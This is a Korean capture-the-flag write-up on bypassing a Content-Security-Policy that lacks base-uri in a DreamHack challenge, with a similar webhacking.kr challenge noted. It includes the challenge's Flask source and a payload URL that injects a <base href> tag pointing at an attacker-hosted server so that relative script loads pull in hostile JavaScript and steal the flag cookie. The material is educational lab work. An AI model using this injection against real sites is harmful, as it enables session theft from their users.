[DreamHack] CSP Bypass Advanced + [Webhacking.kr] BABY
CSP BYPASS 문제이다.
드림핵과 웹해킹.kr 두 문제를 풀어보니 거의 비슷한 문제여서 한번에 writeup을 작성하려 한다.
먼저 본격적인 풀이 전에 CSP에 대해 간단히 알아보자면 XSS를 방지하기 위해 태그들에 여러 규칙을 정의해 놓은걸 뜻한다.
뭐 예를 들어
1. nonce
nonce를 지정해주면 <script nonce=랜덤값> nonce 필드에 랜덤 base64값이 들어가는데 이거랑 맞아야 script태그를 실행 가능하다.
근데 이건 거의 bypass가 불가능하다.
2. -src 규칙
default-src | -src로 끝나는 모든 지시문의 기본 동작을 제어합니다. 만약 CSP 구문 내에서 지정하지 않은 지시문이 존재한다면 default-src의 정의를 따라갑니다. |
img-src | 이미지를 로드할 수 있는 출처를 제어합니다. |
script-src | 스크립트 태그 관련 권한과 출처를 제어합니다. |
style-src | 스타일시트 관련 권한과 출처를 제어합니다. |
child-src | 페이지 내에 삽입된 프레임 컨텐츠에 대한 출처를 제어합니다. |
base-uri | 페이지의 <base> 태그에 나타날 수 있는 URL을 제어합니다. |
요건 드림핵에 있는거 긁어온거다.
여러 속성을 붙일 수 있는데
self : 해당 페이지 출처로 제한
none : 모든 출처 허용 X
https://example.com : 해당 링크 출처만 허용 (이때 서브도메인이랑 포트는 와일드카드 이용해 표현 가능)
unsafe-eval : 예외적으로 eval 가능
unsaef-inline : 예외적으로 인라인 허용
뭐 이정도만 알면 될것 같다.
그럼 드림핵 문제를 보겠다.
#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
import urllib
import os
app = Flask(__name__)
app.secret_key = os.urandom(32)
nonce = os.urandom(16).hex()
try:
FLAG = open("./flag.txt", "r").read()
except:
FLAG = "[**FLAG**]"
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
service = Service(executable_path="/chromedriver")
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome(service=service, options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
driver.quit()
# return str(e)
return False
driver.quit()
return True
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
@app.after_request
def add_header(response):
global nonce
response.headers['Content-Security-Policy'] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'self' 'nonce-{nonce}'; object-src 'none'"
nonce = os.urandom(16).hex()
return response
@app.route("/")
def index():
return render_template("index.html", nonce=nonce)
@app.route("/vuln")
def vuln():
param = request.args.get("param", "")
return render_template("vuln.html", param=param, nonce=nonce)
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html", nonce=nonce)
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return f'<script nonce={nonce}>alert("wrong??");history.go(-1);</script>'
return f'<script nonce={nonce}>alert("good");history.go(-1);</script>'
memo_text = ""
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\n"
return render_template("memo.html", memo=memo_text, nonce=nonce)
app.run(host="0.0.0.0", port=8000)
사실상 봐야할 부분은 아래 한가지이다.
response.headers['Content-Security-Policy'] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'self' 'nonce-{nonce}'; object-src 'none'"
보면 대충 nonce 사용하고 나머지 src는 다 self 규칙을 적용한다.
하지만 base uri에 대한 부분은 규칙을 정하지 않았기때문에 base를 이용해 조작 가능하다.
아래는 vuln 페이지 코드이다.
/static/js/jquery.min.js랑 /static/js/bootstrap.min.js 코드를 불러온다.
이때 base가 설정되어있지 않다면 알아서 127.0.0.1 즉 같은 페이지의 코드를 불러오지만
만약 base를 다른 서버로 조작한다면? 그 서버의 js를 갖고올것이다.
나는 goorm ide를 사용해서 서버를 구성했다.
그리고 서버에 /static/js/bootstrap.min.js 코드를 만들어줬다.
http://host3.dreamhack.games:13890/vuln?param=<base href="https://서버주소/">
요렇게 보내준다면? base uri가 서버주소로 설정되어서 cookie 탈취가 가능하다.
webhacking.kr 문제도 이와 똑같기 때문에 생략하겠다.